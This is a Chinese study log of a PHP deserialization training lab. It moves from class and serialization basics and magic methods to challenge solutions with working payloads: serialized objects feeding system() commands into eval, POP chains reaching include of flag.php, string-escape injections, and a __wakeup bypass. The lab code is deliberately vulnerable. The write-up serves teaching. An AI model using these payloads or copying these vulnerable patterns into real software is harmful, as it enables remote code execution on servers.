橙子科技php_ser靶场学习记录
该靶场为重庆橙子科技制作,主要是为了教学引导用的,所以里面的大部分题都不能算严格意义上的ctf题目。但是,这些题目可以很好地帮助理解并运用PHP反序列化知识。
由于本文是我做靶场题目时分析题目的纯记录,当时没有认真写,所以可读性会不太好。
【Docker靶场地址】
https://hub.docker.com/u/mcc0624
【镜像拉取】
docker pull mcc0624/ser:1.8
【容器运行】
docker run -p 8002:80 -d mcc0624/ser:1.8
0x03 类与对象
类的演示
定义类名,属性,方法
highlight_file(__FILE__);
class hero{ #类名hero
var $name; #属性name
var $sex; #属性sex
function jineng($var1) { #方法名jineng,传入参数var1
echo $this->name; #输出对象的name
echo $var1; #输出变量var1
}
}
?>
实例化和赋值
实例化和赋值演示代码
highlight_file(__FILE__);
class hero{ #类名hero
var $name; #属性name
var $sex; #属性sex
function jineng($var1) { #方法名jineng,传入参数var1
echo $this->name."
"; #输出对象的name
echo $var1."
"; #输出变量var1
}
}
$cyj= new hero(); #将类hero实例化为对象cyj
$cyj->name='chengyaojin'; #对象cyj的name赋值为chengyaojin
$cyj->sex='man'; #对象cyj的sex赋值为man
$cyj->jineng('zuofan'); #调用方法jineng,并传入参数var1的值zuofan
print_r($cyj); #输出对象cyj
?>
chengyaojin #方法jineng输出的name
zuofan #方法jineg输出的var1
hero Object ( [name] => chengyaojin [sex] => man ) #输出的对象
权限修饰符
php的3中访问权限修饰符:public,protected,private
highlight_file(__FILE__);
class hero{
public $name='chengyaojin'; #属性name权限修饰符为public
private $sex='man'; #属性sex权限修饰符为private
protected $shengao='165'; #属性shengao权限修饰符为protected
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
$cyj= new hero(); #将类hero实例化为对象cyj
echo $cyj->name."
"; #输出对象cyj的name
echo $cyj->sex."
"; #输出对象cyj的sex
echo $cyj->shengao."
"; #输出对象的shengao
?>
chengyaojin #name成功输出
Fatal error: Uncaught Error: Cannot access private property hero::$sex in /var/www/html/class03/3.php:14 Stack trace: #0 {main} thrown in /var/www/html/class03/3.php on line 14 #sex和shengao输出时报错
权限修饰符2
highlight_file(__FILE__);
class hero{
public $name='chengyaojin'; #public属性name
private $sex='man'; #private属性sex
protected $shengao='165'; #protected属性shengao
function jineng($var1) { #方法jineng,传入参数var1
echo $this->name;
echo $var1;
}
}
class hero2 extends hero{ #类hero2继承类hero
function test(){ #方法test,输出name,sex,shengao
echo $this->name."
";
echo $this->sex."
";
echo $this->shengao."
";
}
}
$cyj= new hero(); #实例化hero为对象cyj
$cyj2=new hero2(); #实例化hero2为对象cyj2
echo $cyj->name."
"; #输出cyj的name
echo $cyj2->test();
?>
chengyaojin #输出的cyj的name
chengyaojin #输出的cyj2的name
Notice: Undefined property: hero2::$sex in /var/www/html/class03/4.php on line 15 #输出sex时报错
165 #输出的cyj2的shengao
0x04 序列化基础知识
序列化演示
不同数据类型序列化之后的格式演示
highlight_file(__FILE__);
class TEST { 类TEST
public $data; public属性data
public $data2 = "dazzhuang"; public属性data2,赋值为dazzhuang
private $pass; private属性pass
public function __construct($data, $pass) 构造函数,传入两个参数data和pass
{
$this->data = $data; 将对象的data赋值为传入参数data
$this->pass = $pass; 将对象的pass赋值为传入参数pass
}
}
$number = 34; #整数变量
$str = 'user'; #字符串变量
$bool = true; #布尔变量
$null = NULL; #NULL变量
$arr = array('a' => 10, 'b' => 200); #数组变量
$test = new TEST('uu', true); #实例化类TEST为test,并传入参数
$test2 = new TEST('uu', true); #实例化类TEST为test2,并传入参数
$test2->data = &$test2->data2; #设置data为data2的引用,这将导致data和data2永远为同一值
echo serialize($number)."
"; #输出他们序列化后的内容
echo serialize($str)."
";
echo serialize($bool)."
";
echo serialize($null)."
";
echo serialize($arr)."
";
echo serialize($test)."
";
echo serialize($test2)."
";
?>
i:34; #整数变量
s:4:"user"; #字符串变量
b:1; #布尔变量
N; #NULL变量
a:2:{s:1:"a";i:10;s:1:"b";i:200;} #数组变量
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;} #对象test
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;} #对象test2
数组序列化
highlight_file(__FILE__);
$a = array('benben','dazhuang','laoliu'); #数组
echo $a[0].PHP_EOL;
echo serialize($a);
?>
benben
a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}
对象序列化
highlight_file(__FILE__);
class test{
public $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:3:"pub";s:6:"benben";}
私有修饰符
私有属性序列化后的格式
highlight_file(__FILE__);
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";} #实际为:O:4:"test":1:{s:9:"%00test%00pub";s:6:"benben";}
保护修饰符
保护属性序列化后的格式
highlight_file(__FILE__);
class test{
protected $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";} #实际输出为:O:4:"test":1:{s:6:"%00*%00pub";s:6:"benben";}
总结:
public无标记,变量名不变,长度不变
protected在变量名前添加标记\00*\00,长度+3
private在变量名前添加标记\00(classname)\00,长度+2+类名长度
成员属性调用对象
演示成员属性调用对象过程,及其序列化后格式
highlight_file(__FILE__);
class test{
var $pub='benben';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
function __construct(){
$this->ben=new test(); #将对象的变量ben实例化为类test的对象
}
}
$a = new test2();
echo serialize($a);
?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}} #对象变量序列化后的值即为一个对象序列化后的值
0x05 反序列化知识
反序列化
反序列化之后的内容为一个对象
highlight_file(__FILE__);
class test {
public $a = 'benben';
protected $b = 666;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test();
$d = serialize($d);
echo $d."
";
echo urlencode($d)."
";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);
?>
O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) { ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) }
实际输出为(输出url编码后的内容就是为了更好地观察各种可能被隐藏的符号):
O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
D:\theBestPhp\PHP_SER\Demo.php:16:
class test#1 (3) {
public $a =>
string(6) "benben"
protected $b =>
int(666)
private $c =>
bool(false)
}
0x06 反序列化漏洞
反序列化漏洞例题
反序列化漏洞成因:反序列化过程中,unserialize()接收的值可控
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a); #这里将变量a的内容直接以eval函数执行,可以利用
}
}
$get = $_GET["benben"]; #GET方法获取变量benben的值,并赋值给变量get
$b = unserialize($get); #反序列化变量get并赋值给b
$b->displayVar() ; #对变量b调用类test的方法displayVar()
?>
将变量b赋值为序列化后的对象,且这个对象的属性被人为修改,使得类的方法使用人为修改的值执行并返回结果。通过下面的代码得到认为改动属性后的序列化对象。
class test{
public $a = 'system("passwd");';
}
$a = serialize(new test());
echo $a;
将其以GET方法提交给变量benben:
?benben=O:4:"test":1:{s:1:"a";s:17:"system("passwd");";}
执行结果:
Changing password for www-data.
0x07 魔术方法介绍,构造和析构
_construct()
具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
highlight_file(__FILE__);
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ; #构造函数被执行时输出语句
}
}
$test = new User("benben"); #类实例化为对象时构造函数被执行一次
$ser = serialize($test);
unserialize($ser);
?>
触发了构造函数1次 #构造函数输出的语句
_destruct()
析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
这些情况下,对象会被销毁:
1,如果程序结束,所有变量都会被销毁,自然,变量所代表的对象也会被销毁;对象销毁的顺序,默认情况下,跟其创建的顺序相反;
2,当一个对象没有任何变量“指向”它的时候,即使程序还没有结束,也会被销毁;1
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."
" ; 析构函数被执行时输出语句
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
触发了析构函数1次
触发了析构函数1次
#当反序列化一个对象时,如果该对象的类定义中包含析构函数,那么反序列化过程中会创建一个新的对象,并将序列化的数据复制到该对象中。在这个过程中,PHP会自动调用新对象的构造函数和析构函数,因此析构函数会被触发一次。然后,当脚本执行完成时,PHP会自动销毁该对象并再次调用析构函数。因此,总共会触发两次析构函数。
#PHP语言的析构函数会在以下情况下被触发:
#1.当对象被销毁时,析构函数会被自动调用。
#2.当对象的所有引用被删除时,析构函数会被自动调用。
#3.当脚本执行完毕时,析构函数会被自动调用。
#4.当PHP引擎在内存中清除对象时,析构函数会被自动调用。G
析构函数例题
析构函数漏洞利用例题展示
highlight_file(__FILE__);
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd); #析构函数被触发时,其内部的eval函数执行参数cmd
}
}
$ser = $_GET["benben"];
unserialize($ser); #反序列化对象后触发析构函数
?>
#将benben赋值为含特殊命令的对象序列化后的值,通过以下代码生成对象序列化后的值
class User {
var $cmd = 'system("ls");' ;
}
$a = serialize(new User());
echo $a;
O:4:"User":1:{s:3:"cmd";s:13:"system("ls");";}
GET方式提交:
?benben=O:4:"User":1:{s:3:"cmd";s:13:"system("ls");";}
回显:
1.php 2.php 3.php
0x08 wakeup和sleep魔术方法
_sleep()
序列化前触发
highlight_file(__FILE__);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname'); #当sleep方法被触发时,返回两个属性组成的数组
}
}
$user = new User('a', 'b', 'c'); #实例化一个对象
echo serialize($user); #输出对象序列化后的值,在这之前sleep方法被触发
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
_sleep()例题
sleep例题演示
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
system($this->username); #sleep方法被触发时以system函数执行对象的属性username
} #这个属性我们可以手动赋值
}
$cmd = $_GET['benben']; #GET方法获取benben的值,并将这个值赋值给cmd
$user = new User($cmd, 'b', 'c'); #实例化一个对象,并将cmd作参数传入
echo serialize($user); #输出对象序列化后的值,在这之前sleep方法被触发
?>
N; #sleep方法被触发,但属性username未赋值,故回显NULL
这个题和之前的思路略有不同,之前需要我们传入整个对象序列化后的值,但这个题为传参构造,我们只需要传入想要的命令就行了,如下:
?benben=ls
回显:
1.php 2.php 3.php 4.php N;
_wakeup()
反序列化前触发,进行一些初始化操作
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama'; #常量不会被反序列化
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() { #wakeup方法被触发时
$this->password = $this->username; #将属性password赋值为属性username的值
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}'; #序列化的对象含两个变量
var_dump(unserialize($user_ser));
?>
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }
实际输出如下:
class User#1 (4) {
public $username =>
string(1) "a"
public $nickname =>
string(1) "b"
private $password =>
string(1) "a"
private $order =>
NULL
}
#可以看到未赋值的password因为wakeup方法被触发有了和username一样的值
_wakeup()例题
_wakeup()例题演示
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username); #wakeup方法被触发时,将变量放在函数system中执行
}
}
$user_ser = $_GET['benben']; #GET方法获取benben的值
unserialize($user_ser); #反序列化变量user_ser,在这之前wakeup方法被触发
?>
#这道题为常规思路,传入一个我们想要的属性的对象即可,如下:
?benben=O:4:"User":4:{s:8:"username";s:2:"ls";s:8:"nickname";N;s:14:"%20User%20password";N;s:11:"%20User%20order";N;}
回显:
1.php 2.php 3.php 4.php
0x09 Tostring和invoke魔术方法
_toString()
echo和print只能输出字符串,不能调用对象,负责触发toString方法
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!'; #当toString方法被触发时,返回提示语句
}
}
$test = new User() ;
print_r($test); #print_r输出对象不会触发该方法
echo "
";
echo $test; #echo输出对象不被允许,触发toString方法
?>
User Object ( [benben] => this is test!! )
格式不对,输出不了!
_invoke()
将变量test(对象)错误的当成函数调用,触发invoke方法
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "
";
echo $test() ->benben; #在变量test后跟了括号,被认为将其当成函数调用,,触发invoke方法
?>
this is test!!
它不是个函数!
0x10 错误调用魔术方法
_call()
调用不存在的参数名称和参数
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a'); #调用不存在的方法,触发call方法
?>
callxxx,a
#这段代码会输出:callxxx,a
#接着定义了一个名为User的类,其中定义了一个魔术方法__call()。该方法会在对象调用不存在的方法时自动触发。该方法接收两个参数,arg1表示调用的方法名,arg2表示调用方法时传递的参数数组。G
_callStatic()
静态调用或调用成员常量时使用的方法不存在
Warning: The magic method __callStatic() must have public visibility and be static in /var/www/html/class10/2.php on line 5
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a'); #通过test对象调用了名为callxxx的静态方法,并传入参数'a'。
?> #由于User类中不存在名为callxxx的静态方法,所以会自动触发__callStatic()方法。G
callxxx,a
_get()
调用的成员属性不存在
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2; #调用了不存在的成员属性var2,触发get方法
?>
var2
_set()
给不存在的成员属性赋值
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1; #给不存在的属性var2赋值为1
?>
var2,1
_isset()
对不可访问属性使用isset()或empty()时,isset()被调用
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var); #isset函数调用了私有属性
?>
var
#isset()和empty()函数都是用于检查变量是否已经设置或已经初始化的PHP内置函数。
#由于var是User类中的一个私有属性,外部无法直接访问。因此,当使用isset(test->var)时,会自动触发__isset()方法,并将arg1参数设置为'var'。__isset()方法会将arg1输出,即输出'var'。G
_unset()
对不可访问对象使用unset时
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var); #对私有变量var使用了unset函数
?>
var
#unset() 函数用于销毁给定的变量。
_clone()
当使用clone关键字拷贝完成一个对象后,新对象自动调用定义的魔术方法_clone()
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test) #使用clone关键字拷贝了一个对象,新对象会调用魔术方法_clone()
?>
__clone test
0x11 POP链基础前置知识1
了解调用链
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>
#思路分析:
这段代码,能利用的就是evil类中的action方法中的eval函数,其将执行属性test2。这个test2我们是可以手动赋值为 'system("ls");' 的。接下来需要解决的就是如何调用action方法。不难发现,在类index中的析构函数会调用属性test的action方法,所以,我们只需要将类index中的属性test赋值为类evil实例化的对象就好了。由于test时私有属性,所以我们需要借助构造方法对其赋值。现在,万事俱备,如何调用类index的析构方法呢?代码最后一排的反序列化函数执行后,析构函数将会被触发。
#构造Payload
通过以下代码得到我们想要的对象的序列化值
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
}
class evil {
var $test2 = 'system("ls");';
}
echo serialize(new index());
输出:
O:5:"index":1:{s:11:" index test";O:4:"evil":1:{s:5:"test2";s:13:"system("ls");";}}
注意:
这段序列化值实际上还少了些东西,那就是私有属性test前要跟%00index%00。
以下为补全序列化值:
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("ls");";}}
Payload:
?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("ls");";}}
输出:
1.php
0x12 pop链构造前置知识2
了解魔术方法
POP链前置知识,进一步了解魔术方法触发规则
#如果类里面没有对应魔术方法,那么就算满足了触发条件,魔术方法也不会被调用。
#目标:显示"tostring is here"
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>
#思路分析:
目标是输出"tostring is here",也就是需要触发类sec的_toString()方法,这就需要我们将类sec实例化的对象作为字符串输出(echo和print)。在类fast中,有echo输出了属性source。所以,我们只需要将source赋值为类sec的实例化对象就行了。
#构造Payload:
利用如下代码,得到想要的序列化值:
class fast {
public $source;
}
class sec {
var $benben;
}
$a = new fast();
$a->source = new sec();
echo serialize($a);
输出:
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
Payload:
?benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
输出:
?benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
0x13 POP链构造及POC构造
POP链例题
一个标准的POP链构造例题
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
思路:我们要在类Modifier中输出flag,就必须将Include中的参数设置为flag.php,因此我们将var初始化为flag.php,且触发方法invoke。要触发invoke,可通过类Test的get方法,并将Test的属性p实例化为Modifier的对象。要触发get,可通过类Show的toString,且将str实例化为Test的对象。要触发toString,可通过wakeup,输出实例化为本类Show的对象的属性source。而代码最后一行的反序列化函数,将触发wakeup。
构造Payload:
通过以下代码:
//flag is in flag.php
class Modifier {
private $var = 'flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod = new Modifier();
$test = new Test();
$test->p = $mod;
$show = new Show();
$show->source = $show;
$show->str = $test;
echo serialize($show);
输出:
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}
补全私有属性的序列化值并构造Payload:
?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
输出:
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
0x14 php反序列化字符串逃减少
逃逸减少演示代码
字符串逃逸演示代码
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
object(A)#1 (2) { ["v1"]=> NULL ["v2"]=> NULL }
分析:
这道题并不能算一道严格意义上的题,仅仅作为字符串逃逸演示,我们的目标仅仅是让它能正常反序列化。
将代码精简一下,再观察以下输出:
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
}
$data = serialize(new A());
var_dump($data);
$data = str_replace("system()","",$data);
var_dump($data);
var_dump(unserialize($data));
输出:
string(75) "O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:3:"123";}"
string(51) "O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}"
bool(false)
不难发现,str_replace函数置换了我们的'system()',导致字符串实际长度变短,但是记录的应有长度未变,这就导致了反序列化失败。它对我们的输入进行了删除处理,但正如SQL注入时可以双写一些关键字来绕过过滤一样,这里也可以故意多加一些内容。字符串v1少了东西,我就从v2这里喂给它,并且把v1的结构闭合。然后v2原本的结构破坏,里面的原本的字符串变成需解析的内容,这些内容,就是我塞的v3。多了一个变量,php在反序列化时会将其正常加入对象。
这是喂给v1的:1234567
这是住在v2里的v3(还多了些东西是用来前后闭合,保持序列化值得正常结构的):";s:2:"v3";s:6:"hihihi";}
加起来的v2:public $v2 = '1234567";s:2:"v3";s:6:"hihihi";}';
Payload:
?v1=abcsystem()system()system()&v2=1234567";s:2:"v3";s:6:"hihihi";}
回显:
object(A)#1 (3) { ["v1"]=> string(27) "abc";s:2:"v2";s:32:"1234567" ["v2"]=> string(3) "123" ["v3"]=> string(6) "hihihi" }
0x15 PHP反序列化字符串逃逸增加
逃逸增加演示代码
字符串逃逸演示代码
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = 'ls';
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
object(A)#1 (2) { ["v1"]=> NULL ["v2"]=> NULL }
代码简化:
class A{
public $v1 = 'ls';
public $v2 = '123';
}
$data = serialize(new A());
echo $data.PHP_EOL;
$data = str_replace("ls","pwd",$data);
echo $data.PHP_EOL;
var_dump(unserialize($data));
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
D:\theBestPhp\PHP_SER\Demo.php:10:
bool(false)
分析:
序列化值中的ls会被替换为pwd,这将导致字符串实际长度变长,但前面记录的长度又没有改变,导致反序列化失败。在这种情况下,我们可以将一个v3放在v1里,当v1的ls被替换变长时,v3就被挤了出来。
这是要塞进去的v3内容(多出来的符号是为了保持序列化值结构正常):";s:2:"v2";s:6:"hihihi";}
塞进去的这串v3内容长度为25,我们就需要25个ls,这样才能把v3挤出来
Payload:
v1=lslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:6:"hihihi";}
输出:
object(A)#1 (3) { ["v1"]=> string(78) "v1=pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd" ["v2"]=> string(3) "123" ["v3"]=> string(6) "hihihi" }
0x16 字符串逃逸增加例题
字符串逃逸_增加
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name); #将我们需要的'flag'、'php'替换为hack。
return $name;
}
class test{
var $user;
var $pass='daydream'; #这里将pass赋值为daydream
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php"); #必须要pass=='escaping'才能得到flag
}
?>
#分析:
函数filter中的将php替换为hack是会导致字符串变长的,这就有了字符串逃逸的机会。只需要在属性user里面藏一个属性pass,并且pass的值为escaping,覆盖掉原本的值,就能得到flag了。
这是需要插进去的pass:";s:4:"pass";s:8:"escaping";}
长度为29,所以需要填充29个php
Payload:
?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
很恶心的是这道题并不会将flag输出到页面,必须F12在源代码里面才能看到。。。我到处找原因。。。怪我不懂函数file_get_contents()的作用。
flag:
$flag = 'ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}';
PHP 中的 file_get_contents() 函数用于读取文件内容并返回一个字符串。G
0x17 字符串逃逸例题减少
字符串逃逸_减少
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
分析:
以下是我们想要的属性,我们将pass和为真vip都塞在了pass的字符串内容里。
";s:4:"pass";s:5:"bbbbb";s:3:"vip";b:1;}
对象序列化后的内容,以下是我们不需要的:
";s:4:"pass";s:41:"q";
长度为19,我用10个flag,会被吃掉20个,所以我在pass的内容前再随便加个字符1。
Payload:
?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:5:"bbbbb";s:3:"vip";b:1;}
按F12查看源代码发现flag。
0x18 weakup绕过
wakeup绕过
error_reporting(0);
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
分析:
使用 preg_match() 函数对 $cmd 进行正则匹配,判断其是否包含序列化字符串。正则表达式为 /[oc]:\d+:/i,其中:
[oc] 表示匹配字符 o 或 c;
:\d+: 表示匹配一个冒号 :,后面跟着一组数字,最后再跟着一个冒号 :;
/i 表示忽略大小写。G
这道题其实超级简单,就是我太蠢了,只需要通过以下代码生成想要的序列化对象。
class secret{
var $file='flag.php';
}
echo serialize(new secret());
输出:
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
对输出进行一些加工,以绕过wakeup方法和过滤。
$a = 'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}'; #+号是为了绕过匹配过滤,1改成2是为了绕过wakeup方法。
echo urlencode($a); #进行url编码是为了避免+号在url提交过程中可能造成的问题
输出:
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
Payload:
?cmd=O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
这里我用hackbar直接对payload进行url编码得到的结果提交一直不行,观察发现hackbar的url编码有些问题,它会把大写字母转成小写。。。
0x19 序列化引用介绍
引用例题
序列化过程中引用起到的作用
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
are you trolling?
分析:
这道题将属性secret的*过滤,又要它等于*才输出flag。这就需要借助引用的特性,来迂回解决问题。
通过以下代码生成序列化对象:
class just4fun {
var $enter;
var $secret;
}
$a = new just4fun();
$a->secret = &$a->enter;
echo serialize($a);
输出:
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
Payload:
?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
回显:
Congratulation! Here is my secret: ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
0x20 Session反序列化
session_PHP
键名+竖线+经过serialize()函数处理后的值
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>
提交:
?ben=test
session文件内容:
benben|s:4:"test";
php_serialize
经过serialize()函数反序列化处理的数组
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
提交:
?ben=test1&b=test2
session文件内容:
a:2:{s:6:"benben";s:5:"test1";s:1:"b";s:5:"test2";}
php_binary
键名长度对应ASCII字符+键名+经过serialize()函数反序列化处理的值
